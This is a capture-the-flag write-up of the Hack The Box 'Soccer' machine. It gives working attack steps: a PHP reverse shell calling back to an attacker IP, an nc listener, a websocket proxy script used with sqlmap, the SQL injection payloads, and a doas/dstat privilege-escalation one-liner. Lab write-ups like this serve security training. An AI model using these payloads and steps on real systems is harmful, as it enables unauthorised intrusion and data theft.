Hack The Box: Soccer Writeup

hackthebox, linux, easy, web, websocket, sqli, sudo

Soccer is a Hack The Box Linux machine serving static sites, a file manager and a custom web socket service. The file manager was vulnerable to arbitrary file uploads, leading to remote code execution as www-data. The web server’s configuration files leaked another virtual host. This custom web application relied on a web sockets service which was vulnerable to SQL injections over web sockets. Using credentials from the database, an SSH user was compromised. The doas privileges of the compromised user allowed to gain code execution as root through dstat and a Python script.

Walkthrough

In order to properly resolve the box’s name, the hostname and IP address of the box were appended to the hosts file on the assessment machine:

echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts

The following snippet shows the result of a simple nmap scan conducted on the top 1,000 ports. The server was found to be listening on ports 22, 80 (which are commonly used for SSH and HTTP respectively), as well as port 9091. The latter was later discovered to be a web socket service, vulnerable to SQL injections.

nmap --open soccer.htb
Starting Nmap 7.93 ( https://nmap.org ) <SNIP>
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

The web page hosted on port 80 provided news content related to a soccer team.

Home page of the soccer club

Next, the web fuzzer ffuf was used to find additional documents and sites. The fuzzer identified /tiny as a path that redirected to a subdirectory containing a file manager.

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ  
<SNIP>
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 29ms]
    * FUZZ: tiny

When browsing to /tiny, the first content encountered was a login page prompting for a username and password to access the “Tiny File Manager”.

Login to the file manager

An online search revealed, that this is an open-source application on GitHub, which was vulnerable to a remote code execution (CVE-2021-45010) in an earlier version. One of the exploits I found when investigating this app, listed default credentials for the application as admin:admin@123. Using the default credentials, it was possible to authenticate as the application administrator on the file manager.

The file manager allows administrators to upload files. They are saved to the tiny/uploads directory:

Upload files on the tiny file manager

As already shown on the screenshot, the upload functionality can be used to upload PHP files. This was used to upload a reverse shell payload from pentestmonkey:

<?php
<SNIP>
$VERSION = "1.0";
$ip = '10.10.16.3';  // CHANGE THIS
$port = 8000;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
<SNIP>
?>

The file was served as soccer.htb/tiny/uploads/shell.php, and interpreted by the server. The machine connected back to the assessment machine and gave a reverse shell as www-data:

nc -lnvp 8000
listening on [any] 8000 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.194] 49440
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 18:05:46 up 48 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Access to this low-privileged user was leveraged to enumerate the system. The examination of nginx configuration files revealed another virtual host named soc-player.soccer.htb. This vhost served as an nginx reverse proxy for an application listening on localhost:3000:

ls -l /etc/nginx/sites-enabled
total 0
lrwxrwxrwx 1 root root 34 Nov 17  2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17  2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
$ cat /etc/nginx/sites-available/soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}

Adding the new subdomain to the hosts file and browsing to the site shows a different page than the previous one:

echo "10.10.11.194 soc-player.soccer.htb" | sudo tee -a /etc/hosts

soc-player.soccer.htb

This web site was interactive, had open registration and allowed to login as newly created users. Logged in users were redirected to a /check which displayed a ticket number, and a form to check ticket numbers:

Check ticket functionality

This indicated a database lookup in the background. The page cointained the following JavaScript snippet, which makes an API request to fetch information about the ticket number:

<SNIP>
 var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        <SNIP>
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
<SNIP>

Since the API on the web sockets server likely performs a database lookup in the backend, it is crucial to properly sanitize the user input when doing the lookup. Analyzing SQL injections over web sockets is covered in this [1] blog post.

In order to use sqlmap over web sockets, a proxy is necessary to forward the parameter value chosen by sqlmap to the API endpoint over web sockets. The mentioned blog post provided Python code for the proxy, which I modified to reflect the correct JSON object structure and URL-decoded the payload:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
import json
import urllib.parse
ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	payload = urllib.parse.unquote(payload)
	data = {"id": payload}
	ws.send(json.dumps(data))
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

Sqlmap was then used to dump the database with the following command (targeting the proxy):

sqlmap -u http://localhost:8081/?id=1 --batch --risk 3 --level 5 --dump

The next snippet shows the SQL injection payloads that sqlmap discovered and used to dump the database:

sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---                                                                           
Parameter: id (GET)                                                           
    Type: boolean-based blind                                                 
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-8937 OR 6796=6796                                                                                                                          
                                                                                                                                                            
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 1017 FROM (SELECT(SLEEP(5)))JFIh)
---

The database soccer_db held an accounts table which contained the username, email address and cleartext password of one user:

Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | Player<SNIP>         | player   |
+------+-------------------+----------------------+----------+

This username and password were used to login on the box over SSH.
An enumeration of setuid binaries reveals the binaries on the system that run under the privileges of the file owner. SUID binaries owned by root are particularly interesting for the privilege escalation.
Among binaries that are commonly present on Linux systems and have the suid bit set (sudo, passwd), the command also found an uncommon binary, /usr/local/bin/doas:

player@soccer:~$ find / -perm -4000                                                                                               
<SNIP>
/usr/local/bin/doas                                                           
<SNIP>                                   
/usr/bin/sudo
/usr/bin/passwd
<SNIP>

The application doas is very similar to sudo as it allows running commands as another user (“do as”) including the root user. In order to enumerate the commands whitelisted to be run by doas, a search for the doas config was conducted:

player@soccer:~$ find / -name "doas.conf"                                      
<SNIP>
/usr/local/etc/doas.conf
<SNIP>

The config allowed running /usr/bin/dstat as root:

player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

dstat has been recognized as a gtfobin. That means, the binary can likely be used to bypass local security measures and perform privilege escalation. The site also shows an example how dstat can be abused to execute Python code as root:

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
/usr/local/bin/doas /usr/bin/dstat --xxx

Placing a script to launch a shell at a destination that will be read by dstat, and then running dstat as root through doas, I gained a root shell and fully compromised the box:

Privilege escalation to root using doas and dstat

Thank you for reading, and have a fun time with CTFs.

Archived references: